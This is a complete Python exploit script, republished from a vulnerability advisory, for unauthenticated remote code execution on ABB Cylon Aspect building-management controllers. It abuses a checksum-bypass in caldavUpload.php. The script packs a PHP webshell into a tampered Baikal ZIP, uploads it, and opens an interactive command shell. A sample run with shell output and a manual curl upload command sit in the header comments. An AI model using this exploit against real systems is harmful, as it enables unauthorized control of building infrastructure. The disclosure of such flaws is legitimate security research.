Share
## https://sploitus.com/exploit?id=PACKETSTORM:189617
#!/usr/bin/env python3
    #
    #
    # ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
    #
    #
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb
    # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
    #                   Firmware: <=3.08.01
    #
    # Summary: ASPECT is an award-winning scalable building energy
    # management and control solution designed to allow users seamless
    # access to their building data through standard building protocols
    # including smart devices.
    #
    # Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
    # weakness in them caldavInstall.php, caldavInstallAgendav.php, and
    # caldavUpload.php files. All you gotta do is drop that skipChecksum
    # beat in the POST vibe, and bam, the system skips all that MD5
    # checksum nonsense, no EXPERTMODE needed to crank the funk. This
    # lets any slick cat without a login slide in some jacked-up CalDAV
    # ZIP files, no questions asked. We're talkin' tampered tunes hittin'
    # the deck, openin' the door to messin' with the system or droppin'
    # some nasty uploads, all unauthorized-like. That's the funky flaw,
    # baby - straight-up tamper town!
    #
    # --------------------------------------------------------------------------
    # 
    # โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/brainfog]
    # โ””โ”€$ ./funkalicious.py 192.168.73.31
    # [*] Rollin' on 05.03.2025 14:57:38
    # [*] Funkmaster Webshell Injector PoC - let's get down!
    # [*] Groovin' to: http://192.168.73.31
    # [+] Droppin' the funk on baikal-0.6.1.zip, dig it...
    # [+] Whippin' up some funky ZIP magic...
    # [+] Funked-up ZIP is live: baikal-0.6.1.zip
    # [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72
    # [+] Groove size: 3.13 MB, dig it!
    # [+] Groovin' through the ZIP contents (key funky files):
    #       458  2019-02-19 08:05   baikal/vendor/sabre/vobject/tests/bootstrap.php
    #      1696  2019-10-19 03:17   baikal/vendor/sabre/dav/tests/bootstrap.php
    #       207  2019-10-09 16:27   baikal/vendor/sabre/http/tests/bootstrap.php
    #       293  2012-06-17 14:48   baikal/vendor/twig/twig/test/bootstrap.php
    #       144  2025-03-05 19:18   baikal/html/backdoor.php
    # [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php...
    # [+] Far out! ZIP got extracted, baby!
    # [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove...
    # [+] Righteous! Funkdoor's live and kickin':
    # uid=48(apache) gid=48(apache) groups=48(apache),0(root)
    # 
    # [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!
    # funk> id ; pwd
    # uid=48(apache) gid=48(apache) groups=48(apache),0(root)
    # /home/baikal/html
    # funk> exit
    # [+] Wipin' out the funkdoor, peace out...
    # [+] Funkdoor's gone, man - clean as a whistle!
    # [*] Funked ZIP stashed: baikal-0.6.1.zip
    # [*] Manual funk drop: curl -F 'baikalFile=@baikal-0.6.1.zip' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php'
    # [+] Sweepin' up the temp funk files (keepin' the ZIP)...
    # 
    # --------------------------------------------------------------------------
    #
    # Tested on: GNU/Linux 3.15.10 (armv7l)
    #            GNU/Linux 3.10.0 (x86_64)
    #            GNU/Linux 2.6.32 (x86_64)
    #            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
    #            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
    #            PHP/7.3.11
    #            PHP/5.6.30
    #            PHP/5.4.16
    #            PHP/4.4.8
    #            PHP/5.3.3
    #            AspectFT Automation Application Server
    #            lighttpd/1.4.32
    #            lighttpd/1.4.18
    #            Apache/2.2.15 (CentOS)
    #            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
    #            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5926
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php
    # Ref ID: ZSL-2024-5860
    # Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass
    # Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php
    #
    #
    # 21.04.2024
    #
    #
    
    import os
    import sys
    import random
    import shutil
    import zipfile
    import requests
    import datetime
    import subprocess
    from colorama import init, Fore, Style
    
    init()
    
    # Funky global vibes
    FUNKMASTER_URL = None  # To be set by the righteous IP
    UPLOAD_JAM = "/caldavUpload.php"
    BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php"
    OG_ZIP_VIBE = "baikal-0.6.1.zip"
    FUNKED_ZIP_VIBE = "baikal-0.6.1.zip"
    TEMP_FUNK_PAD = "zipslip_tmp"
    
    # The slickest backdoor groove in town
    FUNKDOOR_JAM = """<?php
    if (isset($_POST['cmd'])) {
        system($_POST['cmd']);
        if ($_POST['cmd'] === 'rm backdoor.php') {
            unlink(__FILE__);
        }
    }
    ?>"""
    
    def check_funky_gear():
        # Checkin' if the cool cats got the unzip groove
        if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
            print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!")
            exit(1)
    
    def snag_the_og_jam():
        # Snaggin' that OG ZIP from the cosmic interwebs
        if not os.path.exists(OG_ZIP_VIBE):
            print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...")
            url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip"
            response = requests.get(url, stream=True)
            with open(OG_ZIP_VIBE, "wb") as f:
                f.write(response.content)
        else:
            print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!")
    
    def whip_up_funky_zip():
        # Cookin' up a righteous exploit ZIP, baby
        print("[+] Whippin' up some funky ZIP magic...")
        if os.path.exists(TEMP_FUNK_PAD):
            shutil.rmtree(TEMP_FUNK_PAD)
        os.makedirs(TEMP_FUNK_PAD, exist_ok=True)
        
        # Unpackin' the OG vibe on the down-low
        subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True)
        
        # Settin' up the baikal funk shack
        baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal")
        if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")):
            os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad)
        
        # Droppin' a sneaky temp funkdoor
        temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php")
        with open(temp_funkdoor, "w") as f:
            f.write(FUNKDOOR_JAM)
        
        # Zippin' it up with the funkdoor beat
        with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf:
            for root, _, files in os.walk(baikal_pad):
                for file in files:
                    full_path = os.path.join(root, file)
                    arcname = os.path.relpath(full_path, TEMP_FUNK_PAD)
                    zf.write(full_path, arcname)
            zf.write(temp_funkdoor, "baikal/html/backdoor.php")
        
        # Gettin' the funky hash and size, yo
        md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0]
        print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}")
        print(f"[+] Funky MD5 hash: {md5}")
        print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!")
    
    def check_the_funk_vibe():
        # Peekin' at the ZIP's funky insides
        print("[+] Groovin' through the ZIP contents (key funky files):")
        result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True)
        for line in result.stdout.splitlines():
            if "backdoor.php" in line or "bootstrap.php" in line:
                print(line)
    
    def lay_down_the_funk(target_url):
        # /home/MIX_CMIX/htmlroot/caldavInstall.php:
        # ------------------
        # 01: <?php
        # 02: 
        # 03: $badassMode = false;
        # 04: if (isset($_GET["EXPERTMODE"])) {
        # 05:    $badassMode = true;
        # 06: }
        # 07: ?>
        # ------------------
        # Layin' down the funk to the server, man
        url = f"{target_url}{UPLOAD_JAM}"
        print(f"[+] Droppin' the funk bomb at {url}...")
        files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")}
        data = {"skipChecksum": "1", "EXPERTMODE": "1"}
        response = requests.post(
            url,
            files=files,
            data=data,
            timeout=10
        )
        if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text:
            print("[+] Far out! ZIP got extracted, baby!")
        else:
            print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}")
            print(response.text)
    
    def jam_with_funkdoor(target_url):
        # Jamming with the funkdoor, testing the vibe
        url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}"
        print(f"[+] Hittin' the funkdoor at {url}, let's groove...")
        response = requests.post(url, data={'cmd': 'id'}, timeout=5)
        
        if response.status_code == 200 and "uid=" in response.text:
            print("[+] Righteous! Funkdoor's live and kickin':")
            print(response.text)
            print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!")
            
            while True:
                cmd = input("funk> ").strip()
                if cmd.lower() in ["exit", "quit"]:
                    print("[+] Wipin' out the funkdoor, peace out...")
                    cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5)
                    if cleanup_response.status_code == 200:
                        print("[+] Funkdoor's gone, man - clean as a whistle!")
                    else:
                        print("[-] Cleanup got funky, check it out manually, dude.")
                    break
                
                shell_response = requests.post(url, data={'cmd': cmd}, timeout=5)
                if shell_response.status_code == 200:
                    print(shell_response.text.strip())
                else:
                    print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}")
                    print(shell_response.text)
        else:
            print("[-] Funkdoor ain't answerin' the call, man.")
            print(f"Response: {response.status_code}")
    
    def clean_the_funk_pad():
        # Clearin' out the temp funk pad, keepin' it real
        print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...")
        if os.path.exists(TEMP_FUNK_PAD):
            shutil.rmtree(TEMP_FUNK_PAD)
    
    def main():
        global start
        start = datetime.datetime.now()
        start = start.strftime("%d.%m.%Y %H:%M:%S")
        title = "\033[91mABB Cylonยฎ ASPECTยฎ Supervisory Building Control v3.08.01\033[0m"
        subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m"
        advis = "\033[91mZSL-2025-5926\033[0m"
        prj = f"""-
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
        
     {title}
     {subtl}
                        {advis}
        """ 
        
        if len(sys.argv) < 2:
            colors = [Fore.RED,
                      Fore.GREEN,
                      Fore.YELLOW,
                      Fore.MAGENTA,
                      Fore.CYAN,
                      Fore.BLUE]
            lines = prj.strip().split("\n")
            for line in lines:
                color = random.choice(colors)
                print(f"{color}{line}{Style.RESET_ALL}")
            print("\n[*] Funky Jam: ./funkalicious.py <ip_address>")
            sys.exit(1)
        
        target_ip = sys.argv[1]
        global FUNKMASTER_URL
        FUNKMASTER_URL = f"http://{target_ip}"
        
        print("[*] Rollin' on", start)
        print("[*] Funkmaster Webshell Injector PoC - let's get down!")
        print(f"[*] Groovin' to: {FUNKMASTER_URL}")
        check_funky_gear()
        snag_the_og_jam()
        whip_up_funky_zip()
        check_the_funk_vibe()
        lay_down_the_funk(FUNKMASTER_URL)
        jam_with_funkdoor(FUNKMASTER_URL)
        print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}")
        print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'")
        clean_the_funk_pad()
    
    if __name__ == "__main__":
        main()